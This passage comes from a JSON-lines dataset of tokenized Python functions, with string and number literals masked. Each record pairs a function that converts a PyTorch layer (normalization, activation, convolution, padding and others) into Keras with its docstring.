variance],<EOL>name=tf_name<EOL>)<EOL><DEDENT>layers[scope_name] = bn(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert batch normalization layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5025:m0"}
{"signature": "def convert_instancenorm(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:6>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>assert(len(inputs) == <NUM_LIT:3>)<EOL>bias_name = '<STR_LIT>'.format(w_name)<EOL>weights_name = '<STR_LIT>'.format(w_name)<EOL>if inputs[-<NUM_LIT:2>] + '<STR_LIT>' in layers:<EOL><INDENT>gamma = layers[inputs[-<NUM_LIT:2>] + '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>gamma = weights[weights_name].numpy()<EOL><DEDENT>if inputs[-<NUM_LIT:1>] + '<STR_LIT>' in layers:<EOL><INDENT>beta = layers[inputs[-<NUM_LIT:1>] + '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>beta = weights[bias_name].numpy()<EOL><DEDENT>def target_layer(x, epsilon=params['<STR_LIT>'], gamma=gamma, beta=beta):<EOL><INDENT>layer = tf.contrib.layers.instance_norm(<EOL>x,<EOL>param_initializers={'<STR_LIT>': tf.constant_initializer(beta), '<STR_LIT>': tf.constant_initializer(gamma)},<EOL>epsilon=epsilon, data_format='<STR_LIT>',<EOL>trainable=False<EOL>)<EOL>return layer<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert instance normalization layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5025:m1"}
{"signature": "def convert_dropout(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:6>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>dropout = keras.layers.Dropout(rate=params['<STR_LIT>'], name=tf_name)<EOL>layers[scope_name] = dropout(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert dropout.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5025:m2"}
{"signature": "def convert_gemm(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:6>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>bias_name = '<STR_LIT>'.format(w_name)<EOL>weights_name = '<STR_LIT>'.format(w_name)<EOL>W = weights[weights_name].numpy().transpose()<EOL>input_channels, output_channels = W.shape<EOL>keras_weights = [W]<EOL>has_bias = False<EOL>if bias_name in weights:<EOL><INDENT>bias = weights[bias_name].numpy()<EOL>keras_weights = [W, bias]<EOL>has_bias = True<EOL><DEDENT>dense = keras.layers.Dense(<EOL>output_channels,<EOL>weights=keras_weights, use_bias=has_bias, name=tf_name, bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>)<EOL>layers[scope_name] = dense(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert Linear.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5026:m0"}
{"signature": "def convert_matmul(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>if len(inputs) == <NUM_LIT:1>:<EOL><INDENT>weights_name = '<STR_LIT>'.format(w_name)<EOL>W = weights[weights_name].numpy().transpose()<EOL>input_channels, output_channels = W.shape<EOL>keras_weights = [W]<EOL>dense = keras.layers.Dense(<EOL>output_channels,<EOL>weights=keras_weights, use_bias=False, name=tf_name, bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>)<EOL>layers[scope_name] = dense(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>elif len(inputs) == <NUM_LIT:2>:<EOL><INDENT>weights_name = '<STR_LIT>'.format(w_name)<EOL>W = weights[weights_name].numpy().transpose()<EOL>input_channels, output_channels = W.shape<EOL>keras_weights = [W]<EOL>dense = keras.layers.Dense(<EOL>output_channels,<EOL>weights=keras_weights, use_bias=False, name=tf_name, bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>)<EOL>layers[scope_name] = dense(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>else:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Convert matmul layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5026:m1"}
{"signature": "def convert_relu(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>relu = keras.layers.Activation('<STR_LIT:relu>', name=tf_name)<EOL>layers[scope_name] = relu(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert relu layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5027:m0"}
{"signature": "def convert_lrelu(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:3>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>leakyrelu =keras.layers.LeakyReLU(alpha=params['<STR_LIT>'], name=tf_name)<EOL>layers[scope_name] = leakyrelu(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert leaky relu layer.\n\nArgs:\n     params: dictionary with layer parameters\n     w_name: name prefix in state_dict\n     scope_name: pytorch scope name\n     inputs: pytorch node inputs\n     layers: dictionary with keras tensors\n     weights: pytorch state_dict\n     names: use short names for keras layers", "id": "f5027:m1"}
{"signature": "def convert_sigmoid(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>sigmoid = keras.layers.Activation('<STR_LIT>', name=tf_name)<EOL>layers[scope_name] = sigmoid(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert sigmoid layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5027:m2"}
{"signature": "def convert_softmax(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>def target_layer(x, dim=params['<STR_LIT>']):<EOL><INDENT>import keras<EOL>return keras.activations.softmax(x, axis=dim)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert softmax layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5027:m3"}
{"signature": "def convert_tanh(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>tanh = keras.layers.Activation('<STR_LIT>', name=tf_name)<EOL>layers[scope_name] = tanh(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert tanh layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5027:m4"}
{"signature": "def convert_hardtanh(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>def target_layer(x, max_val=float(params['<STR_LIT>']), min_val=float(params['<STR_LIT>'])):<EOL><INDENT>return tf.minimum(max_val, tf.maximum(min_val, x))<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert hardtanh layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5027:m5"}
{"signature": "def convert_selu(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>selu = keras.layers.Activation('<STR_LIT>', name=tf_name)<EOL>layers[scope_name] = selu(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert selu layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5027:m6"}
{"signature": "def convert_gather(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>weights_name = '<STR_LIT>'.format(w_name)<EOL>W = weights[weights_name].numpy()<EOL>input_channels, output_channels = W.shape<EOL>keras_weights = [W]<EOL>dense = keras.layers.Embedding(<EOL>input_channels,<EOL>weights=keras_weights, output_dim=output_channels, name=tf_name<EOL>)<EOL>layers[scope_name] = dense(layers[inputs[<NUM_LIT:1>]])<EOL>", "docstring": "Convert gather (embedding) layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5028:m0"}
{"signature": "def random_string(length):", "body": "return '<STR_LIT>'.join(random.choice(string.ascii_letters) for _ in range(length))<EOL>", "docstring": "Generate a random string for the layer name.\n:param length: a length of required random string\n:return: generated random string", "id": "f5029:m0"}
{"signature": "def convert_upsample_bilinear(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>output_size = params['<STR_LIT>']<EOL>align_corners = params['<STR_LIT>'] > <NUM_LIT:0><EOL>def target_layer(x, size=output_size, align_corners=align_corners):<EOL><INDENT>import tensorflow as tf<EOL>x = tf.transpose(x, [<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:1>])<EOL>x = tf.image.resize_images(x, size, align_corners=align_corners)<EOL>x = tf.transpose(x, [<NUM_LIT:0>, <NUM_LIT:3>, <NUM_LIT:1>, <NUM_LIT:2>])<EOL>return x<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert upsample_bilinear2d layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5030:m0"}
{"signature": "def convert_upsample(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if params['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>scale = (params['<STR_LIT>'], params['<STR_LIT>'])<EOL><DEDENT>elif len(inputs) == <NUM_LIT:2>:<EOL><INDENT>scale = layers[inputs[-<NUM_LIT:1>] + '<STR_LIT>'][-<NUM_LIT:2>:]<EOL><DEDENT>upsampling = keras.layers.UpSampling2D(<EOL>size=scale, name=tf_name<EOL>)<EOL>layers[scope_name] = upsampling(layers[inputs[<NUM_LIT:0>]])<EOL>", "docstring": "Convert nearest upsampling layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5030:m1"}
{"signature": "def convert_elementwise_add(<EOL>params, w_name, scope_name, inputs, layers, weights, names<EOL>):", "body": "print('<STR_LIT>')<EOL>if '<STR_LIT>' in params:<EOL><INDENT>model0 = layers[inputs[<NUM_LIT:0>]]<EOL>model1 = layers[inputs[<NUM_LIT:1>]]<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:A>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>def target_layer(x):<EOL><INDENT>layer = tf.add(x[<NUM_LIT:0>], x[<NUM_LIT:1>])<EOL>return layer<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name)<EOL>layers[scope_name] = lambda_layer([layers[inputs[<NUM_LIT:0>]], layers[inputs[<NUM_LIT:1>]]])<EOL><DEDENT>else:<EOL><INDENT>model0 = layers[inputs[<NUM_LIT:0>]]<EOL>model1 = layers[inputs[<NUM_LIT:1>]]<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:A>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>add = keras.layers.Add(name=tf_name)<EOL>layers[scope_name] = add([model0, model1])<EOL><DEDENT>", "docstring": "Convert elementwise addition.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5032:m0"}
{"signature": "def convert_elementwise_mul(<EOL>params, w_name, scope_name, inputs, layers, weights, names<EOL>):", "body": "print('<STR_LIT>')<EOL>model0 = layers[inputs[<NUM_LIT:0>]]<EOL>model1 = layers[inputs[<NUM_LIT:1>]]<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:M>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>def target_layer(x):<EOL><INDENT>layer = tf.multiply(<EOL>x[<NUM_LIT:0>],<EOL>x[<NUM_LIT:1>]<EOL>)<EOL>return layer<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name)<EOL>layers[scope_name] = lambda_layer([layers[inputs[<NUM_LIT:0>]], layers[inputs[<NUM_LIT:1>]]])<EOL>", "docstring": "Convert elementwise multiplication.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5032:m1"}
{"signature": "def convert_elementwise_div(<EOL>params, w_name, scope_name, inputs, layers, weights, names<EOL>):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:D>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>def target_layer(x):<EOL><INDENT>layer = tf.div(<EOL>x[<NUM_LIT:0>],<EOL>x[<NUM_LIT:1>]<EOL>)<EOL>return layer<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer, name=tf_name)<EOL>layers[scope_name] = lambda_layer([layers[inputs[<NUM_LIT:0>]], layers[inputs[<NUM_LIT:1>]]])<EOL>", "docstring": "Convert elementwise multiplication.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5032:m2"}
{"signature": "def convert_elementwise_sub(<EOL>params, w_name, scope_name, inputs, layers, weights, names<EOL>):", "body": "print('<STR_LIT>')<EOL>model0 = layers[inputs[<NUM_LIT:0>]]<EOL>model1 = layers[inputs[<NUM_LIT:1>]]<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:S>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>sub = keras.layers.Subtract(name=tf_name)<EOL>layers[scope_name] = sub([model0, model1])<EOL>", "docstring": "Convert elementwise subtraction.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5032:m3"}
{"signature": "def convert_padding(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if params['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if params['<STR_LIT:value>'] != <NUM_LIT:0.0>:<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT>if names:<EOL><INDENT>tf_name = '<STR_LIT>' + random_string(<NUM_LIT:4>)<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>padding_name = tf_name<EOL>padding_layer = keras.layers.ZeroPadding2D(<EOL>padding=((params['<STR_LIT>'][<NUM_LIT:2>], params['<STR_LIT>'][<NUM_LIT:6>]), (params['<STR_LIT>'][<NUM_LIT:3>], params['<STR_LIT>'][<NUM_LIT:7>])),<EOL>name=padding_name<EOL>)<EOL>layers[scope_name] = padding_layer(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>elif params['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>def target_layer(x, pads=params['<STR_LIT>']):<EOL><INDENT>layer = tf.pad(x, [[<NUM_LIT:0>, <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>], [pads[<NUM_LIT:2>], pads[<NUM_LIT:6>]], [pads[<NUM_LIT:3>], pads[<NUM_LIT:7>]]], '<STR_LIT>')<EOL>return layer<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[inputs[<NUM_LIT:0>]])<EOL><DEDENT>", "docstring": "Convert padding layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5033:m0"}
{"signature": "def convert_constant(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>params_list = params['<STR_LIT:value>'].numpy()<EOL>def target_layer(x, value=params_list):<EOL><INDENT>return tf.constant(value.tolist(), shape=value.shape)<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name + '<STR_LIT>'] = params_list  <EOL>layers[scope_name] = lambda_layer(layers[list(layers.keys())[<NUM_LIT:0>]])<EOL>", "docstring": "Convert constant layer.\n\nArgs:\n    params: dictionary with layer parameters\n    w_name: name prefix in state_dict\n    scope_name: pytorch scope name\n    inputs: pytorch node inputs\n    layers: dictionary with keras tensors\n    weights: pytorch state_dict\n    names: use short names for keras layers", "id": "f5034:m0"}
{"signature": "def convert_conv(params, w_name, scope_name, inputs, layers, weights, names):", "body": "print('<STR_LIT>')<EOL>if names == '<STR_LIT>':<EOL><INDENT>tf_name = '<STR_LIT:C>' + random_string(<NUM_LIT:7>)<EOL><DEDENT>elif names == '<STR_LIT>':<EOL><INDENT>tf_name = w_name<EOL><DEDENT>else:<EOL><INDENT>tf_name = w_name + str(random.random())<EOL><DEDENT>bias_name = '<STR_LIT>'.format(w_name)<EOL>weights_name = '<STR_LIT>'.format(w_name)<EOL>input_name = inputs[<NUM_LIT:0>]<EOL>if len(weights[weights_name].numpy().shape) == <NUM_LIT:5>:  <EOL><INDENT>W = weights[weights_name].numpy().transpose(<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>height, width, channels, n_layers, n_filters = W.shape<EOL>if bias_name in weights:<EOL><INDENT>biases = weights[bias_name].numpy()<EOL>has_bias = True<EOL><DEDENT>else:<EOL><INDENT>biases = None<EOL>has_bias = False<EOL><DEDENT>if params['<STR_LIT>'][<NUM_LIT:0>] > <NUM_LIT:0> or params['<STR_LIT>'][<NUM_LIT:1>] > <NUM_LIT:0>:<EOL><INDENT>padding_name = tf_name + '<STR_LIT>'<EOL>padding_layer = keras.layers.ZeroPadding3D(<EOL>padding=(params['<STR_LIT>'][<NUM_LIT:0>],<EOL>params['<STR_LIT>'][<NUM_LIT:1>],<EOL>params['<STR_LIT>'][<NUM_LIT:2>]),<EOL>name=padding_name<EOL>)<EOL>layers[padding_name] = padding_layer(layers[input_name])<EOL>input_name = padding_name<EOL><DEDENT>if has_bias:<EOL><INDENT>weights = [W, biases]<EOL><DEDENT>else:<EOL><INDENT>weights = [W]<EOL><DEDENT>conv = keras.layers.Conv3D(<EOL>filters=n_filters,<EOL>kernel_size=(channels, height, width),<EOL>strides=(params['<STR_LIT>'][<NUM_LIT:0>],<EOL>params['<STR_LIT>'][<NUM_LIT:1>],<EOL>params['<STR_LIT>'][<NUM_LIT:2>]),<EOL>padding='<STR_LIT>',<EOL>weights=weights,<EOL>use_bias=has_bias,<EOL>activation=None,<EOL>dilation_rate=params['<STR_LIT>'][<NUM_LIT:0>],<EOL>bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>',<EOL>name=tf_name<EOL>)<EOL>layers[scope_name] = conv(layers[input_name])<EOL><DEDENT>elif len(weights[weights_name].numpy().shape) == <NUM_LIT:4>:  <EOL><INDENT>if params['<STR_LIT>'][<NUM_LIT:0>] > <NUM_LIT:0> or params['<STR_LIT>'][<NUM_LIT:1>] > <NUM_LIT:0>:<EOL><INDENT>padding_name = tf_name + '<STR_LIT>'<EOL>padding_layer = keras.layers.ZeroPadding2D(<EOL>padding=(params['<STR_LIT>'][<NUM_LIT:0>], params['<STR_LIT>'][<NUM_LIT:1>]),<EOL>name=padding_name<EOL>)<EOL>layers[padding_name] = padding_layer(layers[input_name])<EOL>input_name = padding_name<EOL><DEDENT>W = weights[weights_name].numpy().transpose(<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:1>, <NUM_LIT:0>)<EOL>height, width, channels_per_group, out_channels = W.shape<EOL>n_groups = params['<STR_LIT>']<EOL>in_channels = channels_per_group * n_groups<EOL>if n_groups == in_channels and n_groups != <NUM_LIT:1>:<EOL><INDENT>if bias_name in weights:<EOL><INDENT>biases = weights[bias_name].numpy()<EOL>has_bias = True<EOL><DEDENT>else:<EOL><INDENT>biases = None<EOL>has_bias = False<EOL><DEDENT>W = W.transpose(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:2>)<EOL>if has_bias:<EOL><INDENT>weights = [W, biases]<EOL><DEDENT>else:<EOL><INDENT>weights = [W]<EOL><DEDENT>conv = keras.layers.DepthwiseConv2D(<EOL>kernel_size=(height, width),<EOL>strides=(params['<STR_LIT>'][<NUM_LIT:0>], params['<STR_LIT>'][<NUM_LIT:1>]),<EOL>padding='<STR_LIT>',<EOL>use_bias=has_bias,<EOL>activation=None,<EOL>depth_multiplier=<NUM_LIT:1>,<EOL>weights = weights,<EOL>dilation_rate=params['<STR_LIT>'][<NUM_LIT:0>],<EOL>bias_initializer='<STR_LIT>', kernel_initializer='<STR_LIT>'<EOL>)<EOL>layers[scope_name] = conv(layers[input_name])<EOL><DEDENT>elif n_groups != <NUM_LIT:1>:<EOL><INDENT>def target_layer(x, groups=params['<STR_LIT>'], stride_y=params['<STR_LIT>'][<NUM_LIT:0>], stride_x=params['<STR_LIT>'][<NUM_LIT:1>]):<EOL><INDENT>x = tf.transpose(x, [<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:1>])<EOL>def convolve_lambda(i, k):<EOL><INDENT>return tf.nn.conv2d(i, k, strides=[<NUM_LIT:1>, stride_y, stride_x, <NUM_LIT:1>], padding='<STR_LIT>')<EOL><DEDENT>input_groups = tf.split(axis=<NUM_LIT:3>, num_or_size_splits=groups, value=x)<EOL>weight_groups = tf.split(axis=<NUM_LIT:3>, num_or_size_splits=groups, value=W.transpose(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>))<EOL>output_groups = [convolve_lambda(i, k) for i, k in zip(input_groups, weight_groups)]<EOL>layer = tf.concat(axis=<NUM_LIT:3>, values=output_groups)<EOL>layer = tf.transpose(layer, [<NUM_LIT:0>, <NUM_LIT:3>, <NUM_LIT:1>, <NUM_LIT:2>])<EOL>return layer<EOL><DEDENT>lambda_layer = keras.layers.Lambda(target_layer)<EOL>layers[scope_name] = lambda_layer(layers[input_name])<EOL><DEDENT>else:<EOL><INDENT>if bias_name in weights:<EOL><INDENT>biases = weights[bias_name].numpy()<EOL>has_bias = True<EOL><DEDENT>else:<EOL><INDENT>biases = None<EOL>has_bias = False<EOL><DEDENT>if has_bias:<EOL><INDENT>weights = [W, biases]<EOL><DEDENT>else:<EOL><INDENT>weights = [W]<EOL><DEDENT>conv = 